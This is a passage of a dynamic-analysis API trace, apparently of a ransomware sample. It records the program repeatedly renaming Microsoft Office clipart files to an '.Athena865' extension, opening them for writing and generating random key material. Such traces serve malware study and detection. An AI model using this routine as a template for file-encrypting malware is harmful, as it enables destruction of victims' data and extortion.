(lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01146_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01146_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.806] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2796) returned 1 [0122.807] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.807] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.807] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.809] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.810] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.810] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.810] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01151_.WMF" | out: lpString1="DD01151_.WMF") returned="DD01151_.WMF" [0122.810] lstrlenW (lpString="DD01151_.WMF") returned 12 [0122.810] lstrlenW (lpString="Athena865") returned 9 [0122.810] lstrcmpiW (lpString1="1151_.WMF", lpString2="Athena865") returned -1 [0122.810] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.Athena865") returned 73 [0122.810] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01151_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01151_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.813] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2960) returned 1 [0122.813] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.813] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.813] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.816] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.817] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.817] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.817] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01152_.WMF" | out: lpString1="DD01152_.WMF") returned="DD01152_.WMF" [0122.817] lstrlenW (lpString="DD01152_.WMF") returned 12 [0122.817] lstrlenW (lpString="Athena865") returned 9 [0122.817] lstrcmpiW (lpString1="1152_.WMF", lpString2="Athena865") returned -1 [0122.817] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.Athena865") returned 73 [0122.817] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01152_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01152_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.818] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2960) returned 1 [0122.818] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.819] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.819] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.821] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.822] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.822] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.822] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01157_.WMF" | out: lpString1="DD01157_.WMF") returned="DD01157_.WMF" [0122.822] lstrlenW (lpString="DD01157_.WMF") returned 12 [0122.822] lstrlenW (lpString="Athena865") returned 9 [0122.822] lstrcmpiW (lpString1="1157_.WMF", lpString2="Athena865") returned -1 [0122.822] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.Athena865") returned 73 [0122.822] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01157_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01157_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.824] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3588) returned 1 [0122.824] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.825] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.825] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.827] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.827] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.827] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.828] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01160_.WMF" | out: lpString1="DD01160_.WMF") returned="DD01160_.WMF" [0122.828] lstrlenW (lpString="DD01160_.WMF") returned 12 [0122.828] lstrlenW (lpString="Athena865") returned 9 [0122.828] lstrcmpiW (lpString1="1160_.WMF", lpString2="Athena865") returned -1 [0122.828] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.Athena865") returned 73 [0122.828] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01160_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01160_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.829] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2228) returned 1 [0122.829] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.830] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.830] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.832] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.833] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.833] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.833] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01162_.WMF" | out: lpString1="DD01162_.WMF") returned="DD01162_.WMF" [0122.833] lstrlenW (lpString="DD01162_.WMF") returned 12 [0122.833] lstrlenW (lpString="Athena865") returned 9 [0122.833] lstrcmpiW (lpString1="1162_.WMF", lpString2="Athena865") returned -1 [0122.833] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.Athena865") returned 73 [0122.833] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01162_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01162_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.834] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2300) returned 1 [0122.834] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.835] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.835] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.837] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.838] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.838] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.838] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01163_.WMF" | out: lpString1="DD01163_.WMF") returned="DD01163_.WMF" [0122.838] lstrlenW (lpString="DD01163_.WMF") returned 12 [0122.838] lstrlenW (lpString="Athena865") returned 9 [0122.838] lstrcmpiW (lpString1="1163_.WMF", lpString2="Athena865") returned -1 [0122.838] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.Athena865") returned 73 [0122.838] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01163_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01163_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.840] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2300) returned 1 [0122.840] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.840] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.840] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.842] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.843] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.843] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.843] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01166_.WMF" | out: lpString1="DD01166_.WMF") returned="DD01166_.WMF" [0122.843] lstrlenW (lpString="DD01166_.WMF") returned 12 [0122.844] lstrlenW (lpString="Athena865") returned 9 [0122.844] lstrcmpiW (lpString1="1166_.WMF", lpString2="Athena865") returned -1 [0122.844] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.Athena865") returned 73 [0122.844] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01166_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01166_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.846] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2080) returned 1 [0122.846] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.847] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.847] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.849] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.850] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.850] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.850] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01167_.WMF" | out: lpString1="DD01167_.WMF") returned="DD01167_.WMF" [0122.850] lstrlenW (lpString="DD01167_.WMF") returned 12 [0122.850] lstrlenW (lpString="Athena865") returned 9 [0122.850] lstrcmpiW (lpString1="1167_.WMF", lpString2="Athena865") returned -1 [0122.850] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.Athena865") returned 73 [0122.850] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01167_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01167_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.851] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2080) returned 1 [0122.852] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.852] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.852] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.854] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.855] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.855] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.855] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01168_.WMF" | out: lpString1="DD01168_.WMF") returned="DD01168_.WMF" [0122.855] lstrlenW (lpString="DD01168_.WMF") returned 12 [0122.855] lstrlenW (lpString="Athena865") returned 9 [0122.855] lstrcmpiW (lpString1="1168_.WMF", lpString2="Athena865") returned -1 [0122.856] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.Athena865") returned 73 [0122.856] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01168_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01168_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.857] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2004) returned 1 [0122.857] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.858] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.858] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.860] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.861] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.861] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.861] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01169_.WMF" | out: lpString1="DD01169_.WMF") returned="DD01169_.WMF" [0122.861] lstrlenW (lpString="DD01169_.WMF") returned 12 [0122.861] lstrlenW (lpString="Athena865") returned 9 [0122.861] lstrcmpiW (lpString1="1169_.WMF", lpString2="Athena865") returned -1 [0122.861] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.Athena865") returned 73 [0122.861] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01169_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01169_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.863] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2020) returned 1 [0122.863] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.864] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.864] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.866] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.867] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.867] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.867] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01170_.WMF" | out: lpString1="DD01170_.WMF") returned="DD01170_.WMF" [0122.867] lstrlenW (lpString="DD01170_.WMF") returned 12 [0122.867] lstrlenW (lpString="Athena865") returned 9 [0122.867] lstrcmpiW (lpString1="1170_.WMF", lpString2="Athena865") returned -1 [0122.867] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.Athena865") returned 73 [0122.867] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01170_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01170_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.868] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2404) returned 1 [0122.868] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.869] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.869] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.871] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.872] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.872] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.872] lstrcpyW (in: lpString1=0x241e8ae, lpString2="DD01171_.WMF" | out: lpString1="DD01171_.WMF") returned="DD01171_.WMF" [0122.872] lstrlenW (lpString="DD01171_.WMF") returned 12 [0122.872] lstrlenW (lpString="Athena865") returned 9 [0122.872] lstrcmpiW (lpString1="1171_.WMF", lpString2="Athena865") returned -1 [0122.872] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.Athena865") returned 73 [0122.872] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01171_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01171_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c 